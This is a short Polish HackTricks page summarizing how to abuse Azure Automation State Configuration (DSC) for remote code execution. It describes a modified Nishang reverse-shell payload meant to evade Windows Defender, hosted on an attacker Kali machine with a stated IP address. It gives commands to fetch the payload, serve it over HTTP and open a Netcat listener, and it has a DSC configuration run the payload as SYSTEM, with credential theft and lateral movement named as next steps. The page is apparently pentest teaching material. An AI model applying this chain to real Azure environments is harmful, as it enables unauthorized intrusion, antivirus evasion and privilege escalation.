Az - State Configuration RCE

Wesprzyj HackTricks

Sprawdź pełny post na: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Podsumowanie przygotowania infrastruktury zdalnego serwera (C2) i kroki

Przegląd

Proces obejmuje konfigurację infrastruktury zdalnego serwera do hostowania zmodyfikowanego ładunku Nishang Invoke-PowerShellTcp.ps1, o nazwie RevPS.ps1, zaprojektowanego do ominięcia Windows Defender. Ładunek jest serwowany z maszyny Kali Linux o adresie IP 40.84.7.74 za pomocą prostego serwera HTTP w Pythonie. Operacja jest wykonywana poprzez kilka kroków:

Krok 1 — Utwórz pliki

  • Wymagane pliki: Potrzebne są dwa skrypty PowerShell:

  1. reverse_shell_config.ps1: Plik konfiguracji stanu pożądanego (DSC), który pobiera i wykonuje ładunek. Dostępny jest na GitHub.

  2. push_reverse_shell_config.ps1: Skrypt do opublikowania konfiguracji na VM, dostępny na GitHub.

  • Dostosowanie: Zmienne i parametry w tych plikach muszą być dostosowane do konkretnego środowiska użytkownika, w tym nazwy zasobów, ścieżki plików oraz identyfikatory serwera/ładunku.

Krok 2 — Skompresuj plik konfiguracyjny

  • Plik reverse_shell_config.ps1 jest kompresowany do pliku .zip, aby był gotowy do przesłania do Konta Azure Storage.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Krok 3 — Ustaw kontekst przechowywania i przesłać

  • Skompresowany plik konfiguracyjny jest przesłany do predefiniowanego kontenera Azure Storage, azure-pentest, za pomocą polecenia Set-AzStorageBlobContent platformy Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Krok 4 — Przygotowanie Kali Box

  • Serwer Kali pobiera ładunek RevPS.ps1 z repozytorium na GitHubie.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • Skrypt jest edytowany, aby określić docelową maszynę wirtualną z systemem Windows i port dla odwróconego powłoki.

Krok 5 — Opublikuj plik konfiguracyjny

  • Plik konfiguracyjny jest uruchamiany, co powoduje wdrożenie skryptu odwróconej powłoki w określonej lokalizacji na maszynie wirtualnej z systemem Windows.

Krok 6 — Hostuj ładunek i skonfiguruj nasłuchiwanie

  • Uruchamiany jest Python SimpleHTTPServer, aby hostować ładunek, wraz z nasłuchiwaczem Netcat do przechwytywania przychodzących połączeń.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • Zaplanowane zadanie wykonuje ładunek, osiągając uprawnienia na poziomie SYSTEMU.

Wniosek

Pomyślne wykonanie tego procesu otwiera liczne możliwości dalszych działań, takich jak wykradanie poświadczeń lub rozszerzenie ataku na wiele maszyn wirtualnych. Przewodnik zachęca do ciągłego uczenia się i kreatywności w dziedzinie Azure Automation DSC.

Wesprzyj HackTricks

Last updated